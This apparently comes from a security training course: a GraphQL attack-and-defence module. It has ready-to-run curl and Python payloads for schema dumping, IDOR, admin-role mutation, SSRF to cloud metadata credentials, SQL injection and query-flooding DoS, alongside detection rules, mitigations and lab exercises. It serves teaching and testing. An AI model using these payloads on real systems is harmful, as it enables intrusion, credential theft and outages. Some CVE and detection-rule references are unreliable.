GraphQL Security
GraphQL replaces REST’s many-endpoint surface with a single /graphql endpoint that accepts a query language over the wire. The same property that makes it ergonomic — the client picks which fields it wants from a typed schema — also makes every vulnerability class worse. IDOR becomes “request any field of any object via any relation”; SSRF becomes “follow any URL field through any resolver”; DoS becomes “query a recursive self-referential type to depth 1000.” Real incidents bear this out: the 2019 GitLab GraphQL IDOR (CVE-2019-16759-adjacent), the 2021 Shopify GraphQL BOLA, and the 2023 HackerOne disclosure of GraphQL introspection allowing schema reconstruction on production auth-required fields. The vulnerability class is the type system itself: GraphQL trusts the client to ask for what they’re allowed to see, when the server should be checking at every resolver.
The Core Concept
Section titled “The Core Concept”A GraphQL server exposes a single endpoint, typically /graphql, that accepts a query string and returns JSON. The query is validated against a schema (type definitions), then executed by a resolver function per field.
Schema: type User { id: ID!, name: String, orders: [Order!]! } type Order { id: ID!, total: Int, owner: User! } type Query { user(id: ID!): User, me: User }
Query (client): query { me { id, name, orders { id, total } } }
Execution (server, depth-by-depth resolver): Query.me → resolver returns User object User.id → resolver returns string User.orders → resolver returns [Order] Order.id, Order.total → resolvers
Result: {"data":{"me":{"id":1,"name":"alice","orders":[{"id":10,"total":99}]}}}
Attack surfaces: [introspection] query { __schema { types { name fields { name } } } } → entire schema dumped, including hidden fields [IDOR/BOLA] query { user(id: "1") { email, passwordHash } } → resolver for user(id) may skip authz [DoS - depth] query { user { orders { owner { orders { owner { ... } } } } } } → unbounded recursion = exponential resolver calls [DoS - batching] send 1000 queries in one HTTP request, server runs all [alias-based DoS] query { a1: user a2: user ... a1000: user } [DoS - regex] QueryCost analyzer has a ReDoS vuln [mutation IDOR] mutation { updateUser(id:"1", role:"admin") } [SSRF via field] query { user { avatarUrl, avatarBytes } } → resolver fetches avatarBytes by following URL [SQLi via arg] query { user(name: "' OR 1=1--") } [NoSQL via arg] query { user(filter: { "$ne": null }) } [auth-then-resolve] authz on Query.me but not on User.id, User.orders...The fundamental issue: authorization must be enforced at every resolver, not at the query entry point. A common mistake is to enforce authz at the top-level Query field and trust that all nested fields inherit that authorization.
How It Works
Section titled “How It Works”- Discover the endpoint —
/graphql,/graphql/graphql,/api/graphql,/v1/graphql,/public/graphql,/__graphql. Try POST and GET. Look forContent-Type: application/jsonwith{"query": "..."}body. - Probe introspection —
POST /graphql {"query":"{__schema{types{name,fields{name}}}}"}. If enabled, dump the full schema. Disabled byintrospection: falsein Apollo Server config; bypass via__type(name:"User")in some implementations. - Map types to resolvers — from introspection output, list Query and Mutation fields, their argument types, and their return types.
- Test IDOR per field —
query { user(id:"<other-user-id>") { id, email, passwordHash } }. If the resolver returns data, the resolver (or a sub-resolver) is missing the authz check. - Test nested authz —
query { me { orders { owner { email } } } }. Themeresolver checks auth, butUser.orders → Order.owner → User.emailmay not — that’s a path from “my user” to “another user’s email” if the resolver chain doesn’t re-check auth. - Test mutation IDOR —
mutation { updateUser(id:"1", input:{role:"admin"}) { id } }. Same pattern. - Test DoS depth — find a recursive type (e.g.,
User.orders.owner.orders.owner...). Build a query of depth 50. Measure latency. - Test batching — send
[{query1}, {query2}, ..., {queryN}]in one HTTP request. Apollo Server allows batching by default; cap is usually 10 but may be unset. - Test SSRF — find a field that resolves from a URL (
avatar,imageUrl,webhookUrl). Submit a value ofhttp://169.254.169.254/latest/meta-data/. If the resolver follows redirects and returns content, SSRF. - Test injection — for arguments that pass through to a database or shell, try SQLi/NoSQLi payloads.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
| Introspection query | __schema dump — full schema | Easy — should be disabled in production |
| IDOR via top-level field | user(id:"1") resolver missing authz | Medium — needs schema knowledge |
| IDOR via nested field | me { orders { owner { email } } } — auth skipped on nested | Hard — query path analysis needed |
| Mutation IDOR | updateUser(id:"1") missing authz | Medium — same as query IDOR |
| Batching DoS | 1000 queries in one HTTP request | Medium — depends on server config |
| Alias DoS | a1:user, a2:user, ..., a1000:user in one query | Medium — server may not throttle |
| Depth DoS | Recursive query to depth 50+ | Easy — depth limit should be set |
| Regex DoS in cost analyzer | Some cost analyzers run ReDoS-vulnerable regex on queries | Hard — depends on lib version |
| SSRF via field | avatarUrl: http://169.254.169.254/ | Medium — needs URL-resolving field |
| SQLi via argument | user(name: "' OR 1=1--") | Medium — depends on resolver implementation |
| NoSQLi via argument | user(filter: { "$ne": null }) | Medium — see W21 |
| CSRF on mutation | GET with query in URL — CSRF if SameSite not set | Medium — POST + JSON body mitigates |
| Field suggestions (Apollo) | Typo → Did you mean: passwordHash? leaks field names | Easy — server suggests hidden fields |
| Token in query string | GET /graphql?query=... → token leaked via Referer | Easy — use POST + body |
Hands-On Commands
Section titled “Hands-On Commands”# Discover GraphQL endpointsffuf -u https://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/graphql.txt -mc 200# Common: /graphql, /graphiql, /playground, /voyager, /api/graphql, /__graphql
# Probe introspectioncurl -s -X POST https://target/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name,fields{name,type{name}}}}}"}' | jq .
# Dump the entire schema to a filecurl -s -X POST https://target/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{queryType{name}mutationType{name}types{name,kind,fields{name,args{name,type{name,kind,ofType{name,kind,ofType{name}}}}}}}}"}' \ > schema.json
# Apollo introspection bypass when "introspection: false" is set but __type is enabledcurl -s -X POST https://target/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__type(name:\"User\"){fields{name}}"}'
# Use InQL (Burp extension) for schema visualization# Burp → Extender → BApp Store → InQL Scanner# Right-click /graphql request → InQL → scan + introspect → visual graph of schema
# Test IDOR — switch IDs between users# As user A, request user B's datacurl -s -X POST https://target/graphql \ -H "Authorization: Bearer $TOKEN_A" \ -H "Content-Type: application/json" \ -d '{"query":"query($id:ID!){user(id:$id){id,email,passwordHash}}","variables":{"id":"B-USER-ID"}}' | jq .
# Test nested IDOR — path from me to another user via nested relationscurl -s -X POST https://target/graphql \ -H "Authorization: Bearer $TOKEN_A" \ -H "Content-Type: application/json" \ -d '{"query":"{me{orders{owner{id,email,role}}}}"}' | jq .
# Mutation IDORcurl -s -X POST https://target/graphql \ -H "Authorization: Bearer $TOKEN_A" \ -H "Content-Type: application/json" \ -d '{"query":"mutation($id:ID!,$r:Role!){updateUser(id:$id,input:{role:$r}){id,role}}","variables":{"id":"1","r":"ADMIN"}}'
# DoS — depth-based recursion (only on a recursive type)# Build a deeply-nested query. Each level multiplies resolver calls.# A depth-10 query on a type with 5 relations = 5^10 = ~10M resolver callspython3 -c "n = 50q = 'me{' * n + 'id' + '}' * nprint('{\"query\":\"query{%s}\"}' % q)" | curl -s -X POST https://target/graphql -H "Content-Type: application/json" -d @- --max-time 30 -w "\nTime: %{time_total}s\n"
# DoS — alias-based (1000 aliases)python3 -c "aliases = ','.join(f'a{i}:me{{id}}' for i in range(1000))print('{\"query\":\"{%s}\"}' % aliases)" | curl -s -X POST https://target/graphql -H "Content-Type: application/json" -d @- --max-time 30 -o /dev/null -w "%{http_code}\n"
# DoS — batching (Apollo allows array of queries)python3 -c "import jsonqs = [{'query':'{me{id}}'} for _ in range(10000)]print(json.dumps(qs))" | curl -s -X POST https://target/graphql -H "Content-Type: application/json" -d @- --max-time 30 -o /dev/null -w "%{http_code}\n"
# SSRF via fieldcurl -s -X POST https://target/graphql \ -H "Authorization: Bearer $TOKEN_A" \ -H "Content-Type: application/json" \ -d '{"query":"mutation{updateAvatar(url:\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"){avatar{url,bytes}}"}'
# SQLi via argumentcurl -s -X POST https://target/graphql \ -H "Authorization: Bearer $TOKEN_A" \ -H "Content-Type: application/json" \ -d '{"query":"{user(name:\"x'"'"' OR 1=1--\"){id,email}}"}'
# Apollo field suggestions — type a typo, see suggestionscurl -s -X POST https://target/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{me{emaiil}}"}'# Response may include: "Did you mean: email?" — leaks field name
# graphw00f — fingerprint the GraphQL implementationpython3 graphw00f.py -t https://target/graphql
# clairvoyance — reconstruct schema even when introspection is disabled# (uses field suggestion + error messages to recover schema)python3 clairvoyance.py -o schema_recovered.json https://target/graphql
# nuclei — GraphQL templatesnuclei -u https://target -t ~/nuclei-templates/http/technologies/ -tags graphqlnuclei -u https://target -t ~/nuclei-templates/http/exposures/ -tags graphiql,playground,voyagerDetection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS — no dedicated GraphQL rule family. Detection via:
- 920220 (Content-Type) — catches malformed
application/graphqlbody - 942100 (SQLi) — catches SQLi in GraphQL arguments
- 934100 (SSRF) — catches SSRF URLs in mutation args
Suricata — no GraphQL-specific SIDs; HTTP/2 body inspection can match __schema, __type, __schema patterns [verify].
MITRE ATT&CK T1190 — Exploit Public-Facing Application (GraphQL exploitation). MITRE ATT&CK T1499 — Endpoint Denial of Service (GraphQL batching/depth DoS). MITRE ATT&CK T1499.004 — Application or System Exploitation.
Wazuh rule 920/31100 — GraphQL query containing __schema or __type from unauthenticated source [verify].
Wazuh rule 920/31100 — GraphQL query depth > 10 [verify].
Wazuh decoder for /graphql POST body — alert on __schema, batching arrays, alias counts > 50, depth > 10.
Defender log signatures:
__schemaquery on production host → introspection not disabled.- Query depth > 10 → depth limit not enforced.
- Batching array > 10 queries in one HTTP request → batching not capped.
- Response time > 5s for a single GraphQL request → cost analyzer missing or misconfigured.
Evasion Techniques
Section titled “Evasion Techniques”Bypassing disabled introspection via field suggestions. Apollo Server, when introspection is disabled, still suggests field names on typos: query { me { emaiil } } → "Did you mean: email?". By trying every letter (a, b, c, …), an attacker can enumerate every field on every type even with introspection off. The clairvoyance tool automates this enumeration.
Defense: disable field suggestions (formatError override), or move to a different server.
Cost analyzer ReDoS. Many GraphQL cost analyzers run a regex on the query string to estimate cost. Some use ReDoS-vulnerable patterns (([a-z]+)+$). A malicious query can hang the analyzer, not just the resolver. CVE-class in several cost-analysis libraries.
Defense: use a non-backtracking regex; or use a parser-based cost model.
Batching abuse. Apollo Server allows batching by default. A single HTTP request can contain [{query1}, {query2}, ..., {queryN}] and the server executes all of them. If the rate limit counts HTTP requests, not GraphQL queries, the attacker sends 10000 queries in one HTTP request.
Defense: cap batch size (default 10); count batched queries against the rate limit separately.
Alias-based amplification. GraphQL allows aliases: query { a1: user a2: user a3: user }. Each alias invokes the resolver separately. A query with 1000 aliases invokes the resolver 1000 times in one request. Cost analyzers may count the alias cost incorrectly.
Defense: cap alias count per query; use a query complexity calculator that counts aliases.
Depth without recursion. Even without recursive types, a deep query (depth 50) over many relations (User → Orders → Items → Product → Reviews → Author → …) can produce a query that joins many tables and times out the database. Cost analysis must consider both depth and breadth.
Defense: depth limit (e.g., 10) + complexity limit (e.g., 1000) + per-resolver cost weighting.
GET-based CSRF. Some servers allow GET /graphql?query=.... A CSRF attack can ride the user’s cookie to issue a query. Apollo disables GET by default; some custom servers enable it.
Defense: only allow POST with JSON body; require Content-Type: application/json (not form-encodable, which is CSRF-able).
| Evasion | What it bypasses | Defense |
|---|---|---|
| Field suggestion enumeration | Introspection disable | Disable suggestions or move to server without them |
| Cost analyzer ReDoS | Cost analyzer | Non-backtracking regex; parser-based cost |
| Batching | HTTP rate limit | Cap batch size; count batched queries |
| Aliases | Single-query cost model | Cap alias count per query |
| Depth via non-recursive joins | Depth-only limit | Depth + complexity + per-resolver weighting |
| GET-based CSRF | POST-only design | Disallow GET; require JSON content-type |
__type(name:"X") | Introspection disable | Block __type and __schema in middleware |
⚠️ What caught me: A target had
introspection: falsein Apollo Server. I triedclairvoyanceand it slowly recovered the schema via field suggestions. But what surprised me was the Mutation exposure: a mutationupdateSelf(input: {email, role, isVerified})was visible. The resolver did check thatid(from the JWT) matched the request path, but it acceptedroleandisVerifiedas inputs without an allowlist. I sentmutation { updateSelf(input: {role: "ADMIN"}) { id } }with my user JWT and got back{id: my-id, role: ADMIN}. The whole IDOR-style attack didn’t apply because the mutation was self-scoped — but the mass-assignment attack did. Lesson: GraphQL doesn’t fix mass-assignment. The sameinputtype that’s used for legitimate updates can carry escalation fields. Resolver-side allowlists are required, just like in REST.
Lab Practice
Section titled “Lab Practice”Container: dtarget/graphql-vulnerable or the DVGA (Damn Vulnerable GraphQL App).
docker run --rm -d -p 5013:5013 ghcr.io/dolevf/graphql-vulnerable:latest# Browse to http://localhost:5013/graphql (GraphQL endpoint)# Solve:# 1. Introspection → dump schema# 2. BOLA — read another user's data# 3. Mass assignment — promote self to admin# 4. DoS — depth/alias/batch attack (use responsibly, single request)# 5. SSRF — server-side request via URL field# 6. SQLi — argument injection# 7. Mutation IDORAlternative: PortSwigger Web Security Academy GraphQL labs (free, browser-based).
Objective: complete at least 4 GraphQL challenges including (1) introspection dump, (2) BOLA via nested resolver, (3) mass assignment via mutation, and (4) a controlled DoS (single request, observe the latency). Document the exact query for each.
Expected flag format: flag{graphql_introspection_bola_mass_assignment_dos}.
Detection that should fire: ModSecurity 942100 on SQLi in GraphQL args; Wazuh decoder for /graphql POST should flag __schema queries and depth > 10. The application log should show a single HTTP request with 1000+ GraphQL operations (batching abuse).
Interview Questions
Section titled “Interview Questions”Conceptual: explain why GraphQL’s “client picks fields” model is worse for security than REST’s “server picks response shape” model. What is the specific failure mode that REST avoids by accident?
Technical: walk through the introspection-bypass attack via field suggestions. How does clairvoyance reconstruct a schema without __schema access? What two server controls defeat this?
Scenario: a GraphQL server has a top-level Query.user(id: ID!) resolver that checks id == ctx.user.id || ctx.user.role == "ADMIN". The User type has a field orders: [Order!]!, and Order has owner: User!. Describe a query that bypasses the authz check to read another user’s email, and the resolver-level fix.
Compare GraphQL batching DoS, alias-based DoS, and depth-based DoS. For each, give the specific server-side control that prevents it, and why a single depth limit alone is insufficient.
What is the GraphQL CSRF risk specific to GET-based queries, and why does requiring Content-Type: application/json (instead of allowing form-encoded) close it? What is the SameSite interaction?
Related Modules
Section titled “Related Modules”→ W15 (API Security (REST)) · W21 (NoSQL Injection) · W22 (Web Fuzzing & Automation)